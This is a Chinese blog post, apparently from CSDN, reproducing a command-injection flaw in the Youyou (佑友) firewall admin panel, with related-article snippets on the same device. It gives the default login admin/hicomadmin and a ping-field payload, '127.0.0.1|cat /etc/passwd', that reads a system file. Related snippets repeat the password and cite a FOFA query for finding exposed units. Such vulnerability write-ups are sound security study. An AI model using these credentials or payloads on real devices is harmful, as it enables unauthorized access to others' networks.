佑友防火墙后台命令执行漏洞

最新推荐文章于 2025-05-17 16:00:52 发布
最新推荐文章于 2025-05-17 16:00:52 发布
阅读量211 收藏 2
点赞数 1
分类专栏： 漏洞复现 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/m0_49025459/article/details/132054619
版权
漏洞描述

佑友防火墙 后台维护工具存在命令执行，由于没有过滤危险字符，导致可以执行任意命令

漏洞复现 

访问url

使用弱口令登录佑友防火墙后台

User: admin

Pass: hicomadmin

 

点击系统管理

 维护工具

Ping

 输入可执行命令

127.0.0.1|cat /etc/passwd

佑友FHQ backup 后台任意文件读取漏洞复现
0xSec
06-17 704
佑友防火墙网关管理系统 后台备份与恢复的功能处存在任意文件读取漏洞，经过身份验证的远程攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。
【漏洞复现】河辰通讯佑友防火墙后台命令执行漏洞
晚风不及你
01-30 591
佑友是深圳市河辰通讯技术有限公司的注册商标，公司成立于1998年，主力产品是Mailgard佑友系列邮件服务器，邮件归档，垃圾邮件过滤网关，邮件网关，全球邮网关，邮件负载均衡网关、防火墙，VPN等。
佑友防火墙 后台命令执行漏洞
m0_49025459的博客
02-03 273
找到佑友防火墙的登录界面，这个漏洞复现的前提是一定要登录进去，而我这里使用的是佑友防火墙的弱口令登录admin/hicomadmin。但是我发现直接在网页输入好像有长度限制，但是我们通过bp抓包就可以解除长度限制的要求了。系统管理 > 维护工具 > Ping。这时候就可以进行命令执行操作了。
佑友防火墙集合-后台执行与越权访问漏洞
千寻的博客
04-24 519
文章目录漏洞介绍漏洞编号影响范围FOFA语法漏洞复现一第一步 使用默认账号密码登录第二步 接口越权查看漏洞复现二第一步 进入登录口第二步 进入系统摘抄 漏洞介绍 佑友系列产品包括四大类产品：邮件网关，VPN网关 防火墙。 2021-01-22网上已经曝了佑友防火墙 后台维护工具存在命令执行，由于没有过滤危险字符，导致可以执行任意命令，经过后来发现还有一个低危的越权漏洞。 佑友防火墙网关管理系统存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权 漏洞编号 CNVD-2020-73281 影响范围
佑友防⽕墙-默认密码以及命令执行漏洞
ranuy阮的博客
04-29 475
漏洞环境 FOFA：title=“佑友防火墙” 默认密码 User: admin PassWord: hicomadmin 命令执行 登录后台 系统管理 --> 维护⼯具 --> Ping
2021HW - 佑友防火墙漏洞
战神/calmness的博客
04-22 498
2021HW - 佑友防火墙漏洞 目录 2021HW - 佑友防火墙漏洞 漏洞描述 影响版本 漏洞过程 弱口令 修复建议 越权 修复建议 漏洞描述 佑友系列产品包括四大类产品：邮件网关、VPN网关、防火墙； 由于没有过滤危险字符，导致可以执行任意命令，未授权的漏洞 影响版本 v7.14.27 v7.14.28 漏洞过程 弱口令 1、寻找存在弱口令的登录位置，佑友防火墙后台维护工具存在命令执行，没过滤危险字符导致任意命令执行； admin hicomadmin..
2024HVV在即| 最新漏洞CVE库(1.5W)与历史漏洞POC总结分享！
记录开发和安全学习过程中的点点滴滴
04-22 3196
也快到护网的时间了,每年的护网都是一场攻防实战的盛宴,那么漏洞库就是攻防红蓝双方人员的弹药库,红队人员可以通过工具进行监测是否存在历史漏洞方便快速打点,而蓝队则可以对资产进行梳理和监测历史漏洞,及时处理和修复,做好准备.
网络安全文章汇总导航（持续更新）
热门推荐
剁椒鱼头没剁椒的博客
03-23 1万+
本章主要将博客中的文章进行一个大致的分类，同时也避免了自己在想要找一篇文章的时候，再去一页一页翻。并且把博客汇总后，也方便了新手入门的时候，无需再去各类网站中去查找知识点，当然我也不能保证我的文章能够将所有知识点都涉及到，但是应该也大差不多！
学习笔记-常见安全设备渗透方法
人饭子的博客
10-30 1802
SecDevice - Exploits 免责声明 本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. 大纲 身份与访问控制 堡垒机 IMC 网络检测与响应 蜜罐 IDS 防火墙 WAF 网关 负载均衡 VPN 终端响应与检测 杀软 EDR 数据防泄漏系统 身份与访问控制 堡垒机 齐治堡垒机 Fofa: app...
网康NGFW下一代防火墙远程命令执行漏洞复现
afei001
04-24 1271
目录 1.前言 2.漏洞概述 3.漏洞原理 4.影响版本 5.漏洞等级 6.漏洞复现 6.1 FOFA实战复现 6.2 netentsec_NGFW_RCE_POC.py 6.3 netentsec_NGFW_RCE_EXP.py 7.漏洞修复 声明：以下脚本具有攻击性，请勿非法使用，否则后果自负。请勿进行非授权测试，否则后果自负。 1.前言 2021HW期间，北京网康科技有限公司网康NGFW下一代防火墙被爆出远程命令执行漏洞。CNVD上还没查到漏洞编号，...
安全巡检清单
yh
05-15 882
软件状态巡检应深入到系统内核层面。漏洞扫描是软件状态巡检的重要组成部分，需要定期对网络设备、主机、数据库、应用系统等进行全面的漏洞扫描，利用专业的扫描工具发现已知和未知的安全漏洞。通过严格执行本清单所列的各项检查内容，并结合企业自身的业务特点和安全需求进行适当调整和补充，可以有效地提升信息系统的整体安全水平，降低安全风险，为企业的稳健发展提供坚实保障。通过周期性的状态检查、安全扫描、日志分析和补丁管理，可以及时发现并修复潜在的安全隐患和漏洞，确保网络设备、服务器、操作系统及应用系统的高可用性和安全性。
WEB安全--Java安全--shiro550反序列化漏洞
m0_74800552的博客
05-16 307
shiro550反序列化
使用Spring Boot和Spring Security构建安全的RESTful API
最新发布
intwei的博客
05-17 214
本文详细介绍了如何使用Spring Boot和Spring Security构建安全的RESTful API，并结合JWT实现身份验证与授权。通过实际代码示例，帮助开发者快速上手。完整的项目代码可以在GitHub上找到。
AI智能分析网关V4周界入侵检测算法精准监测与智能分析，筑牢周界安全防线
NVR安防视频技术
05-14 535
随着安全防范需求的不断提升，传统周界安防系统存在误报率高、响应迟缓、智能化程度低等问题，难以满足现代化安全管理的要求。
安全版4.5.8开启审计后，hac+读写分离主备切换异常
HighGO
05-16 224
异常：hac集群一主两备环境，开启hgproxy和审计功能后，进行集群主备切换操作。切换过程持续近5分钟，主库方可切换到备节点上，其中未参与切换（原主与新主外的备节点）的备库无法拉起，持续restarting状态很长时间后start failed。解决此问题的安装包：hgdb-see-4.5.8-6954d9f.aarch64.rpm。BUG安装包： hgdb-see-4.5.8-db43858.aarch64.rpm。1、临时解决方案：关闭审计功能，修改审计参数后需要重启集群。系统平台：UOS （飞腾）
中大型水闸安全监测系统解决方案
weixin_48039531的博客
05-16 761
然而，由于历史原因，许多水闸存在建设标准偏低、质量较差、配套设施不完善等问题，加之受“重建轻管”思想影响，多数水闸建成后缺乏有效的管理和维修养护，存在较多的安全隐患，安全运行风险突出。现代化的水闸安全监测系统不仅能够实现实时监测、数据分析、预警报警等功能，还能够通过三维可视化技术，实现水闸运行状态、水流情况、水位变化等数据的直观展示，为管理决策提供更加科学、准确的依据。通过实时监控水闸的结构状态、水文数据和环境变化，可以及时发现潜在的风险和问题，从而采取相应的预防措施，确保水闸的稳定性和耐久性。
水库雨水情测报与安全监测系统解决方案
weixin_48039531的博客
05-16 878
通过构建一个全面的雨水情自动测报系统、一个全面的大坝安全监测系统，以及配套的视频监控等设施，我们能够实现对水库运行状态的全方位、多角度的实时监控，确保在任何情况下都能迅速采取措施，保障水库及周边地区的安全。实现在线监测的地图显示、查看，包括监测设备的快速查询显示、监测数据展示、报警情况显示及监测数据曲线图的实时展示，通过系统主界面的显示功能，可以查看设备的位置、运行状态，掌握其水库库坝体浸润线及坝体内孔隙水压力、库内水位、水库出入入流量、降雨量、坝体位移的实时监测。还可根据需求在现场终端设置存储年限。
Shiro远程命令执行漏洞检测工具使用与下载指南
然而，随着技术的发展，各种安全漏洞也会随之产生，其中最为严重的就是远程命令执行漏洞。这类漏洞允许攻击者在未经授权的情况下执行服务器上的命令，造成系统被控制、数据被窃取等严重后果。本次提供的shiro远程...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

仲瑿

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值